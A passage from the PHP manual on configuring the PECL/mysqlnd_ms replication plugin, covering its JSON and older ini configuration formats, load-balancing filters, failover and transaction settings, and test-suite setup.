printf("Dumping file contents...\n");
printf("%s\n", str_repeat("-", 80));
echo file_get_contents("mysqlnd_ms.ini");
printf("\n%s\n", str_repeat("-", 80));
?>

The above example will output:

mysqlnd_ms.ini file created...
Dumping file contents...
--------------------------------------------------------------------------------
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": [

        ]
    }
}
--------------------------------------------------------------------------------

A plugin configuration file consists of one or more sections. Sections are represented by the top-level object properties of the object encoded in the JSON file. Sections could also be called configuration names.

Applications reference sections by their name. Applications use section names as the host (server) parameter to the various connect methods of the mysqli, mysql and PDO_MYSQL extensions. Upon connect, the mysqlnd plugin compares the hostname with all of the section names from the plugin configuration file. If the hostname and section name match, then the plugin will load the settings for that section.

Example #2 Using section names example

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27"
            },
            "slave_1": {
                "host": "192.168.2.27",
                "port": 3306
            }
        }
    },
    "localhost": {
        "master": [
            {
                "host": "localhost",
                "socket": "\/path\/to\/mysql.sock"
            }
        ],
        "slave": [
            {
                "host": "192.168.3.24",
                "port": "3305"
            },
            {
                "host": "192.168.3.65",
                "port": "3309"
            }
        ]
    }
}
<?php
/* All of the following connections will be load balanced */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");

$mysqli = new mysqli("localhost", "username", "password", "database");
?>

Section names are strings. It is valid to use a section name such as 192.168.2.1, 127.0.0.1 or localhost. If, for example, an application connects to localhost and a plugin configuration section localhost exists, the semantics of the connect operation are changed. The application will no longer only use the MySQL server running on the host localhost, but the plugin will start to load balance MySQL queries following the rules from the localhost configuration section. This way you can load balance queries from an application without changing the applications source code. Please keep in mind, that such a configuration may not contribute to overall readability of your applications source code. Using section names that can be mixed up with host names should be seen as a last resort.

Each configuration section contains, at a minimum, a list of master servers and a list of slave servers. The master list is configured with the keyword master, while the slave list is configured with the slave keyword. Failing to provide a slave list will result in a fatal E_ERROR level error, although a slave list may be empty. It is possible to allow no slaves. However, this is only recommended with synchronous clusters, please see also supported clusters. The main part of the documentation focusses on the use of aynchronous MySQL replication clusters.

The master and slave server lists can be optionally indexed by symbolic names for the servers they describe. Alternatively, an array of descriptions for slave and master servers may be used.

Example #3 List of anonymous slaves

"slave": [
    {
        "host": "192.168.3.24",
        "port": "3305"
    },
    {
        "host": "192.168.3.65",
        "port": "3309"
    }
]

An anonymous server list is encoded by the JSON array type. Optionally, symbolic names may be used for indexing the slave or master servers of a server list, and done so using the JSON object type.

Example #4 Master list using symbolic names

"master": {
    "master_0": {
        "host": "localhost"
    }
}

It is recommended to index the server lists with symbolic server names. The alias names will be shown in error messages.

The order of servers is preserved and taken into account by mysqlnd_ms. If, for example, you configure round robin load balancing strategy, the first SELECT statement will be executed on the slave that appears first in the slave server list.

A configured server can be described with the host, port, socket, db, user, password and connect_flags. It is mandatory to set the database server host using the host keyword. All other settings are optional.

Example #5 Keywords to configure a server

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "db_server_host",
                "port": "db_server_port",
                "socket": "db_server_socket",
                "db": "database_resp_schema",
                "user": "user",
                "password": "password",
                "connect_flags": 0
            }
        },
        "slave": {
            "slave_0": {
                "host": "db_server_host",
                "port": "db_server_port",
                "socket": "db_server_socket"
            }
        }
    }
}

If a setting is omitted, the plugin will use the value provided by the user API call used to open a connection. Please, see the using section names example above.

The configuration file format has been changed in version 1.1.0-beta to allow for chained filters. Filters are responsible for filtering the configured list of servers to identify a server for execution of a given statement. Filters are configured with the filter keyword. Filters are executed by mysqlnd_ms in the order of their appearance. Defining filters is optional. A configuration section in the plugins configuration file does not need to have a filters entry.

Filters replace the pick[] setting from prior versions. The new random and roundrobin provide the same functionality.

Example #6 New roundrobin filter, old functionality

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.137",
                "port": "3306"
            }
        },
        "filters": {
            "roundrobin": [

            ]
        }
    }
}

The function mysqlnd_ms_set_user_pick_server() has been removed. Setting a callback is now done with the user filter. Some filters accept parameters. The user filter requires and accepts a mandatory callback parameter to set the callback previously set through the function mysqlnd_ms_set_user_pick_server().

Example #7 The user filter replaces mysqlnd_ms_set_user_pick_server()

"filters": {
    "user": {
        "callback": "pick_server"
    }
}

Here is a short explanation of the configuration directives that can be used.

master array or object

List of MySQL replication master servers. The list of either of the JSON type array to declare an anonymous list of servers or of the JSON type object. Please, see above for examples.

Setting at least one master server is mandatory. The plugin will issue an error of type E_ERROR if the user has failed to provide a master server list for a configuration section. The fatal error may read (mysqlnd_ms) Section [master] doesn't exist for host [name_of_a_config_section] in %s on line %d.

A server is described with the host, port, socket, db, user, password and connect_flags. It is mandatory to provide at a value for host. If any of the other values is not given, it will be taken from the user API connect call, please, see also: using section names example.

Table of server configuration keywords.

Keyword Description Version
host

Database server host. This is a mandatory setting. Failing to provide, will cause an error of type E_RECOVERABLE_ERROR when the plugin tries to connect to the server. The error message may read (mysqlnd_ms) Cannot find [host] in [%s] section in config in %s on line %d.

Since 1.1.0.
port

Database server TCP/IP port.

Since 1.1.0.
socket

Database server Unix domain socket.

Since 1.1.0.
db

Database (schemata).

Since 1.1.0.
user

MySQL database user.

Since 1.1.0.
password

MySQL database user password.

Since 1.1.0.
connect_flags

Connection flags.

Since 1.1.0.

The plugin supports using only one master server. An experimental setting exists to enable multi-master support. The details are not documented. The setting is meant for development only.

slave array or object

List of one or more MySQL replication slave servers. The syntax is identical to setting master servers, please, see master above for details.

The plugin supports using one or more slave servers.

Setting a list of slave servers is mandatory. The plugin will report an error of the type E_ERROR if slave is not given for a configuration section. The fatal error message may read (mysqlnd_ms) Section [slave] doesn't exist for host [%s] in %s on line %d. Note, that it is valid to use an empty slave server list. The error has been introduced to prevent accidently setting no slaves by forgetting about the slave setting. A master-only setup is still possible using an empty slave server list.

If an empty slave list is configured and an attempt is made to execute a statement on a slave the plugin may emit a warning like mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. upon statement execution. It is possible that another warning follows such as (mysqlnd_ms) No connection selected by the last filter.

filters object

List of filters. A filter is responsible to filter the list of available servers for executing a given statement. Filters can be chained. The random and roundrobin filter replace the pick[] directive used in prior version to select a load balancing policy. The user filter replaces the mysqlnd_ms_set_user_pick_server() function.

Filters may accept parameters to refine their actions.

If no load balancing policy is set, the plugin will default to random_once. The random_once policy picks a random slave server when running the first read-only statement. The slave server will be used for all read-only statements until the PHP script execution ends. No load balancing policy is set and thus, defaulting takes place, if neither the random nor the roundrobin are part of a configuration section.

If a filter chain is configured so that a filter which output no more than once server is used as input for a filter which should be given more than one server as input, the plugin may emit a warning upon opening a connection. The warning may read: (mysqlnd_ms) Error while creating filter '%s' . Non-multi filter '%s' already created. Stopping in %s on line %d. Futhermore an error of the error code 2000, the sql state HY000 and an error message similar to the warning may be set on the connection handle.

Example #8 Invalid filter sequence

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": [
            "roundrobin",
            "random"
        ]
    }
}
<?php
$link = new mysqli("myapp", "root", "", "test");
printf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error());
$link->query("SELECT 1 FROM DUAL");
?>

The above example will output:

PHP Warning:  mysqli::mysqli(): (HY000/2000): (mysqlnd_ms) Error while creating filter 'random' . Non-multi filter 'roundrobin' already created. Stopping in filter_warning.php on line 1
[2000] (mysqlnd_ms) Error while creating filter 'random' . Non-multi filter 'roundrobin' already created. Stopping
PHP Warning:  mysqli::query(): Couldn't fetch mysqli in filter_warning.php on line 3

Filter: random object

The random filter features the random and random once load balancing policies, set through the pick[] directive in older versions.

The random policy will pick a random server whenever a read-only statement is to be executed. The random once strategy picks a random slave server once and continues using the slave for the rest of the PHP web request. Random once is a default, if load balancing is not configured through a filter.

If the random filter is not given any arguments, it stands for random load balancing policy.

Example #9 Random load balancing with random filter

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.137",
                "port": "3306"
            }
        },
        "filters": [
            "random"
        ]
    }
}

Optionally, the sticky argument can be passed to the filter. If the parameter sticky is set to the string 1, the filter follows the random once load balancing strategy.

Example #10 Random once load balancing with random filter

{
    "filters": {
        "random": {
            "sticky": "1"
        }
    }
}

Unknown arguments are ignored. No warning or error is given.

Expects one or more servers as input. Outputs one server. A filter sequence such as random, roundrobin may cause a warning and an error message to be set on the connection handle when executing a statement.

Filter: roundrobin object

If using the roundrobin filter, the plugin iterates over the list of configured slave servers to pick a server for statement execution. If the plugin reaches the end of the list, it wraps around to the beginning of the list and picks the first configured slave server.

Example #11 roundrobin filter

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": [
            "roundrobin"
        ]
    }
}

Expects one or more servers as input. Outputs one server. A filter sequence such as roundrobin, random may cause a warning and an error message to be set on the connection handle when executing a statement.

Filter: user object

The user replaces mysqlnd_ms_set_user_pick_server() function, which was removed in 1.1.0-beta. The filter sets a callback for user-defined read/write splitting and server selection.

The plugins built-in read/write query split mechanism decisions can be overwritten in two ways. The easiest way is to prepend a query string with the SQL hints MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH or MYSQLND_MS_LAST_USED_SWITCH. Using SQL hints one can control, for example, whether a query shall be send to the MySQL replication master server or one of the slave servers. By help of SQL hints it is not possible to pick a certain slave server for query execution.

Full control on server selection can be gained using a callback function. Use of a callback is recommended to expert users only because the callback has to cover all cases otherwise handled by the plugin.

The plugin will invoke the callback function for selecting a server from the lists of configured master and slave servers. The callback function inspects the query to run and picks a server for query execution by returning the hosts URI, as found in the master and slave list.

If the lazy connections are enabled and the callback choses a slave server for which no connection has been established so far and establishing the connection to the slave fails, the plugin will return an error upon the next action on the failed connection, for example, when running a query. It is the responsibility of the application developer to handle the error. For example, the application can re-run the query to trigger a new server selection and callback invocation. If so, the callback must make sure to select a different slave, or check slave availability, before returning to the plugin to prevent an endless loop.

Example #12 Setting a callback

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "user": {
                "callback": "pick_server"
            }
        }
    }
}

The callback is supposed to return a host to run the query on. The host URI is to be taken from the master and slave connection lists passed to the callback function. If callback returns a value neither found in the master nor in the slave connection lists the plugin will emit an error of the type E_RECOVERABLE_ERROR The error may read like (mysqlnd_ms) User filter callback has returned an unknown server. The server 'server that is not in master or slave list' can neither be found in the master list nor in the slave list. If the application catches the error to ignore it, follow up errors may be set on the connection handle, for example, (mysqlnd_ms) No connection selected by the last filter with the error code 2000 and the sqlstate HY000. Furthermore a warning may be emitted.

Referencing a non-existing function as a callback will result in any error of the type E_RECOVERABLE_ERROR whenever the plugin tries to callback function. The error message may reads like: (mysqlnd_ms) Specified callback (pick_server) is not a valid callback. If the application catches the error to ignore it, follow up errors may be set on the connection handle, for example, (mysqlnd_ms) Specified callback (pick_server) is not a valid callback with the error code 2000 and the sqlstate HY000. Furthermore a warning may be emitted.

The following parameters are passed from the plugin to the callback.

Parameter Description Version
connected_host

URI of the currently connected database server.

Since 1.1.0.
query

Query string of the statement for which a server needs to be picked.

Since 1.1.0.
masters

List of master servers to choose from. Note, that the list of master servers may not be identical to the list of configured master servers if the filter is not the first in the filter chain. Previously run filters may have reduced the master list already.

Since 1.1.0.
slaves

List of slave servers to choose from. Note, that the list of master servers may not be identical to the list of configured master servers if the filter is not the first in the filter chain. Previously run filters may have reduced the master list already.

Since 1.1.0.
last_used_connection

URI of the server of the connection used to execute the previous statement on.

Since 1.1.0.
in_transaction

Boolean flag indicating wheter the statement is part of an open transaction. If autocommit mode is turned off, this will be set to TRUE. Otherwise it is set to FALSE.

Transaction detection is based on monitoring the mysqlnd library call set_autocommit. Monitoring is not possible beofre PHP 5.4.0. Please, see connection pooling and switching concepts discussion for further details.

Since 1.1.0.

Example #13 Using a callback

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "user": {
                "callback": "pick_server"
            }
        }
    }
}
<?php
function pick_server($connected, $query, $masters, $slaves, $last_used_connection, $in_transaction)
{
 static $slave_idx = 0;
 static $num_slaves = NULL;
 if (is_null($num_slaves))
  $num_slaves = count($slaves);

 /* default: fallback to the plugins build-in logic */
 $ret = NULL;

 printf("User has connected to '%s'...\n", $connected);
 printf("... deciding where to run '%s'\n", $query);

 $where = mysqlnd_ms_query_is_select($query);
 switch ($where)
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("... using master\n");
   $ret = $masters[0];
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   /* SELECT or SQL hint for using slave */
   if (stristr($query, "FROM table_on_slave_a_only"))
   {
    /* a table which is only on the first configured slave  */
    printf("... access to table available only on slave A detected\n");
    $ret = $slaves[0];
   }
   else
   {
    /* round robin */
    printf("... some read-only query for a slave\n");
    $ret = $slaves[$slave_idx++ % $num_slaves];
   }
   break;
  case MYSQLND_MS_QUERY_LAST_USED:
   printf("... using last used server\n");
   $ret = $last_used_connection;
   break;
 }

 printf("... ret = '%s'\n", $ret);
 return $ret;
}

$mysqli = new mysqli("myapp", "root", "", "test");

if (!($res = $mysqli->query("SELECT 1 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT 2 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT * FROM table_on_slave_a_only")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

$mysqli->close();
?>

The above example will output:

User has connected to 'myapp'...
... deciding where to run 'SELECT 1 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.2.27:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT 2 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.78.136:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT * FROM table_on_slave_a_only'
... access to table available only on slave A detected
... ret = 'tcp://192.168.2.27:3306'

Filter: user_multi object

The user_multi differs from the user only in one aspect. Otherwise, their syntax is identical. The user filter must pick and return exactly one node for statement execution. A filter chain usually ends with a filter that emits only one node. The filter chain shall reduce the list of candidates for statement execution down to one. This, only one node left, is the case after the user filter has been run.

The user_multi filter is a multi filter. It returns a list of slave and a list of master servers. This list needs further filtering to identify exactly one node for statement execution. A multi filter is typically placed at the top of the filter chain. The quality_of_service filter is another example of a multi filter.

The return value of the callback set for user_multi must be an an array with two elements. The first element holds a list of selected master servers. The second element contains a list of selected slave servers. The lists shall contain the keys of the slave and master servers as found in the slave and master lists passed to the callback. The below example returns random master and slave lists extracted from the functions input.

Example #14 Returning random masters and slaves

<?php
function pick_server($connected, $query, $masters, $slaves, $last_used_connection, $in_transaction)
{
  $picked_masters = array()
  foreach ($masters as $key => $value) {
    if (mt_rand(0, 2) > 1)
      $picked_masters[] = $key;
  }
  $picked_slaves = array()
  foreach ($slaves as $key => $value) {
    if (mt_rand(0, 2) > 1)
      $picked_slaves[] = $key;
  }
  return array($picked_masters, $picked_slaves);
}
?>

The plugin will issue an error of type E_RECOVERABLE if the callback fails to return a server list. The error may read (mysqlnd_ms) User multi filter callback has not returned a list of servers to use. The callback must return an array in %s on line %d. In case the server list is not empty but has invalid servers key/ids in it, an error of type E_RECOVERABLE will the thrown with an error message like (mysqlnd_ms) User multi filter callback has returned an invalid list of servers to use. Server id is negative in %s on line %d, or similar.

Whether an error is emitted in case of an empty slave or master list depends on the configuration. If an empty master list is returned for a write operation, it is likely that the plugin will emit a warning that may read (mysqlnd_ms) Couldn't find the appropriate master connection. 0 masters to choose from. Something is wrong in %s on line %d. Typically a follow up error of type E_ERROR will happen. In case of a read operation and an empty slave list the behviour depends on the fail over configuration. If fail over to master is enabled, no error should appear. If fail over to master is deactivated the plugin will emit a warning that may read (mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. Something is wrong in %s on line %d.

Filter: quality_of_service object

The quality_of_service identifies cluster nodes capable of delivering a certain quality of service. It is a multi filter which returns zero, one or multiple of its input servers. Thus, it must be followed by other filters to reduce the number of candidates down to one for statement execution.

The quality_of_service filter has been introduced in 1.2.0-alpha. In the 1.2 series the filters focus is on the consistency aspect of service quality. Different types of clusters offer different default data consistencies. For example, an asynchronous MySQL replication slave offers eventual consistency. The slave may not be able to deliver requested data because it has not replicated the write, it may serve stale database because its lagging behind or it may serve current information. Often, this is acceptable. In some cases higher consistency levels are needed for the application to work correct. In those cases, the quality_of_service can filter out cluster nodes which cannot deliver the necessary quality of service.

The quality_of_service filter can be replaced or created at runtime. A successful call to mysqlnd_ms_set_qos() removes all existing qos filter entries from the filter list and installs a new one at the very beginning. All settings that can be made through mysqlnd_ms_set_qos() can also be in the plugins configuration file. However, use of the function is by far the most common use case. Instead of setting session consistency and strong consistency service levels in the plugins configuration file it is recommended to define only masters and no slaves. Both service levels will force the use of masters only. Using an empty slave list shortens the configuration file, thus improving readability. The only service level for which there is a case of defining in the plugins configuration file is the combination of eventual consistency and maximum slave lag.

Keyword Description Version
eventual_consistency

Request eventual consistency. Allows the use of all master and slave servers. Data returned may or may not be current.

Eventual consistency accepts an optional age parameter. If age is given the plugin considers only slaves for reading for which MySQL replication reports a slave lag less or equal to age. The repliation lag is measure using SHOW SLAVE STATUS. If the plugin fails to fetch the replication lag, the slave tested is skipped. Implementation details and tipps are given in the quality of service concepts section.

Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Example #15 Global limit on slave lag

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "quality_of_service": {
                "eventual_consistency": {
                    "age":123
                }
            }
        }
    }
}

 Since 1.2.0.
session_consistency

Request session consistency (read your writes). Allows use of all masters and all slaves which are in sync with the master. If no further parameters are given slaves are filtered out as there is no reliable way to test if a slave has caugth up to the master or is lagging behind. Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Session consistency temporarily requested using mysqlnd_ms_set_qos() is a valuable alternative to using master_on_write. master_on_write is likely to send more statements to the master than needed. The application may be able to contiue operation at a lower consistency level after it has done some critial reads.

Since 1.1.0.
strong_consistency

Request strong consistency. Only masters will be used.

Since 1.2.0.
failover string

Failover policy. Supported policies: disabled (default), master.

If no failover policy is set, the plugin will not do any automatic failover (failover=disabled). Whenever the plugin fails to connect a server it will emit a warning and set the connections error code and message. Thereafter it is up to the application to handle the error and, for example, resent the last statement to trigger the selection of another server.

If using failover=master the plugin will implicitly failover to a slave, if available. Please check the concepts documentation to learn about potential pitfalls and risks of using failover=master.

Example #16 Optional master failover when failing to connect to slave

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "failover": "master"
    }
}

Setting failover to any other value but disabled or master will not emit any warning or error.

lazy_connections bool

Controls the use of lazy connections. Lazy connections are connections which are not opened before the client sends the first connection. Lazy connections are a default.

It is strongly recommended to use lazy connections. Lazy connections help to keep the number of open connections low. If you disable lazy connections and, for example, configure one MySQL replication master server and two MySQL replication slaves, the plugin will open three connections upon the first call to a connect function although the application might use the master connection only.

Lazy connections bare a risk if you make heavy use of actions which change the state of a connection. The plugin does not dispatch all state changing actions to all connections from the connection pool. The few dispatched actions are applied to already opened connections only. Lazy connections opened in the future are not affected. Only some settings are "remembered" and applied when lazy connections are opened.

Example #17 Disabling lazy connection

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "lazy_connections": 0
    }
}

master_on_write bool

If set, the plugin will use the master server only after the first statement has been executed on the master. Applications can still send statements to the slaves using SQL hints to overrule the automatic decision.

The setting may help with replication lag. If an application runs an INSERT the plugin will, by default, use the master to execute all following statements, including SELECT statements. This helps to avoid problems with reads from slaves which have not replicated the INSERT yet.

Example #18 Master on write for consistent reads

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "master_on_write": 1
    }
}

Please, note the quality_of_service filter introduced in version 1.2.0-alpha. It gives finer control, for example, for achieving read-your-writes and, it offers additional functionality introducing service levels.

trx_stickiness string

Transaction stickiness policy. Supported policies: disabled (default), master.

The setting requires 5.4.0 or newer. If used with PHP older than 5.4.0, the plugin will emit a warning like (mysqlnd_ms) trx_stickiness strategy is not supported before PHP 5.3.99.

If no transaction stickiness policy is set or, if setting trx_stickiness=disabled, the plugin is not transaction aware. Thus, the plugin may load balance connections and switch connections in the middle of a transaction. The plugin is not transaction safe. SQL hints must be used avoid connection switches during a transaction.

As of PHP 5.4.0 the mysqlnd library allows the plugin to monitor the autocommit mode set by calls to the libraries set_autocommit() function. If setting set_stickiness=master and autocommit gets disabled by a PHP MySQL extension invoking the mysqlnd library internal function call set_autocommit(), the plugin is made aware of the begin of a transaction. Then, the plugin stops load balancing and directs all statements to the master server until autocommit is enabled. Thus, no SQL hints are required.

An example of a PHP MySQL API function calling the mysqlnd library internal function call set_autocommit() is mysqli_autocommit().

Although setting ser_stickiness=master, the plugin cannot be made aware of autocommit mode changes caused by SQL statements such as SET AUTOCOMMIT=0.

Example #19 Using master to execute transactions

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "trx_stickiness": "master"
    }
}

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Plugin configuration file (<= 1.0.x)
Installing/Configuring


Plugin configuration file (<= 1.0.x)

Note:

The below description applies to PECL/mysqlnd_ms < 1.1.0-beta. It is not valid for later versions.

The plugin is using its own configuration file. The configuration file holds information on the MySQL replication master server, the MySQL replication slave servers, the server pick (load balancing) policy, the failover strategy and the use of lazy connections.

The PHP configuration directive mysqlnd_ms.ini_file is used to set the plugins configuration file.

The configuration file mimics standard the php.ini format. It consists of one or more sections. Every section defines its own unit of settings. There is no global section for setting defaults.

Applications reference sections by their name. Applications use section names as the host (server) parameter to the various connect methods of the mysqli, mysql and PDO_MYSQL extensions. Upon connect the mysqlnd plugin compares the hostname with all section names from the plugin configuration file. If hostname and section name match, the plugin will load the sections settings.

Example #1 Using section names example

[myapp]
master[] = localhost
slave[] = 192.168.2.27
slave[] = 192.168.2.28:3306
[localhost]
master[] = localhost:/tmp/mysql/mysql.sock
slave[] = 192.168.3.24:3305
slave[] = 192.168.3.65:3309
<?php
/* All of the following connections will be load balanced */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");

$mysqli = new mysqli("localhost", "username", "password", "database");
?>

Section names are strings. It is valid to use a section name such as 192.168.2.1, 127.0.0.1 or localhost. If, for example, an application connects to localhost and a plugin configuration section [localhost] exists, the semantics of the connect operation are changed. The application will no longer only use the MySQL server running on the host localhost but the plugin will start to load balance MySQL queries following the rules from the [localhost] configuration section. This way you can load balance queries from an application without changing the applications source code.

The master[], slave[] and pick[] configuration directives use a list-like syntax. Configuration directives supporting list-like syntax may appear multiple times in a configuration section. The plugin maintains the order in which entries appear when interpreting them. For example, the below example shows two slave[] configuration directives in the configuration section [myapp]. If doing round-robin load balancing for read-only queries, the plugin will send the first read-only query to the MySQL server mysql_slave_1 because it is the first in the list. The second read-only query will be send to the MySQL server mysql_slave_2 because it is the second in the list. Configuration directives supporting list-like syntax result are ordered from top to bottom in accordance to their appearance within a configuration section.

Example #2 List-like syntax

[myapp]
master[] = mysql_master_server
slave[] = mysql_slave_1
slave[] = mysql_slave_2

Here is a short explanation of the configuration directives that can be used.

master[] string

URI of a MySQL replication master server. The URI follows the syntax hostname[:port|unix_domain_socket].

The plugin supports using only one master server.

Setting a master server is mandatory. The plugin will report a warning upon connect if the user has failed to provide a master server for a configuration section. The warning may read (mysqlnd_ms) Cannot find master section in config. Furthermore the plugin may set an error code for the connection handle such as HY000/2000 (CR_UNKNOWN_ERROR). The corresponding error message depends on your language settings.

slave[] string

URI of one or more MySQL replication slave servers. The URI follows the syntax hostname[:port|unix_domain_socket].

The plugin supports using one or more slave servers.

Setting a slave server is mandatory. The plugin will report a warning upon connect if the user has failed to provide at least one slave server for a configuration section. The warning may read (mysqlnd_ms) Cannot find slaves section in config. Furthermore the plugin may set an error code for the connection handle such as HY000/2000 (CR_UNKNOWN_ERROR). The corresponding error message depends on your language settings.

pick[] string

Load balancing (server picking) policy. Supported policies: random, random_once (default), roundrobin, user.

If no load balancing policy is set, the plugin will default to random_once. The random_once policy picks a random slave server when running the first read-only statement. The slave server will be used for all read-only statements until the PHP script execution ends.

The random policy will pick a random server whenever a read-only statement is to be executed.

If using roundrobin the plugin iterates over the list of configured slave servers to pick a server for statement execution. If the plugin reaches the end of the list, it wraps around to the beginning of the list and picks the first configured slave server.

Setting more than one load balancing policy for a configuration section makes only sense in conjunction with user and mysqlnd_ms_set_user_pick_server(). If the user defined callback fails to pick a server, the plugin falls back to the second configured load balancing policy.

failover string

Failover policy. Supported policies: disabled (default), master.

If no failover policy is set, the plugin will not do any automatic failover (failover=disabled). Whenever the plugin fails to connect a server it will emit a warning and set the connections error code and message. Thereafter it is up to the application to handle the error and, for example, resent the last statement to trigger the selection of another server.

If using failover=master the plugin will implicitly failover to a slave, if available. Please check the concepts documentation to learn about potential pitfalls and risks of using failover=master.

lazy_connections bool

Controls the use of lazy connections. Lazy connections are connections which are not opened before the client sends the first connection.

It is strongly recommended to use lazy connections. Lazy connections help to keep the number of open connections low. If you disable lazy connections and, for example, configure one MySQL replication master server and two MySQL replication slaves, the plugin will open three connections upon the first call to a connect function although the application might use the master connection only.

Lazy connections bare a risk if you make heavy use of actions which change the state of a connection. The plugin does not dispatch all state changing actions to all connections from the connection pool. The few dispatched actions are applied to already opened connections only. Lazy connections opened in the future are not affected. If, for example, the connection character set is changed using a PHP MySQL API call, the plugin will change the character set of all currently opened connection. It will not remember the character set change to apply it on lazy connections opened in the future. As a result the internal connection pool would hold connections using different character sets. This is not desired. Remember that character sets are taken into account for escaping.

master_on_write bool

If set, the plugin will use the master server only after the first statement has been executed on the master. Applications can still send statements to the slaves using SQL hints to overrule the automatic decision.

The setting may help with replication lag. If an application runs an INSERT the plugin will, by default, use the master to execute all following statements, including SELECT statements. This helps to avoid problems with reads from slaves which have not replicated the INSERT yet.

trx_stickiness string

Transaction stickiness policy. Supported policies: disabled (default), master.

Experimental feature.

The setting requires 5.4.0 or newer. If used with PHP older than 5.4.0, the plugin will emit a warning like (mysqlnd_ms) trx_stickiness strategy is not supported before PHP 5.3.99.

If no transaction stickiness policy is set or, if setting trx_stickiness=disabled, the plugin is not transaction aware. Thus, the plugin may load balance connections and switch connections in the middle of a transaction. The plugin is not transaction safe. SQL hints must be used avoid connection switches during a transaction.

As of PHP 5.4.0 the mysqlnd library allows the plugin to monitor the autocommit mode set by calls to the libraries trx_autocommit() function. If setting trx_stickiness=master and autocommit gets disabled by a PHP MySQL extension invoking the mysqlnd library internal function call trx_autocommit(), the plugin is made aware of the begin of a transaction. Then, the plugin stops load balancing and directs all statements to the master server until autocommit is enabled. Thus, no SQL hints are required.

An example of a PHP MySQL API function calling the mysqlnd library internal function call trx_autocommit() is mysqli_autocommit().

Although setting trx_stickiness=master, the plugin cannot be made aware of autocommit mode changes caused by SQL statements such as SET AUTOCOMMIT=0.

User Contributed Notes

There are no user contributed notes for this page.
Plugin configuration file (>=1.1.x)
Testing
Installing/Configuring


Testing

Note:

The section applies to myslqnd_ms 1.1.0 or newer, not the 1.0 series.

The PECL/mysqlnd_ms test suite is in the tests/ directory of the source distribution. The test suite consists of standard phpt tests, which are described on the PHP Quality Assurance Teams website.

Running the tests requires setting up one to four MySQL servers. Some tests don't connect to MySQL at all. Others require one server for testing. Some require two distict servers. In some cases two servers are used to emulate a replication setup. In other cases a master and a slave of an existing MySQL replication setup are required for testing. The tests will try to detect how many servers and what kind of servers are given. If the required servers are not found, the test will be skipped automatically.

Before running the tests, edit tests/config.inc to configure the MySQL servers to be used for testing.

The most basic configuration is as follows.

 putenv("MYSQL_TEST_HOST=localhost");
 putenv("MYSQL_TEST_PORT=3306");
 putenv("MYSQL_TEST_USER=root");
 putenv("MYSQL_TEST_PASSWD=");
 putenv("MYSQL_TEST_DB=test");
 putenv("MYSQL_TEST_ENGINE=MyISAM");
 putenv("MYSQL_TEST_SOCKET=");

 putenv("MYSQL_TEST_SKIP_CONNECT_FAILURE=1");
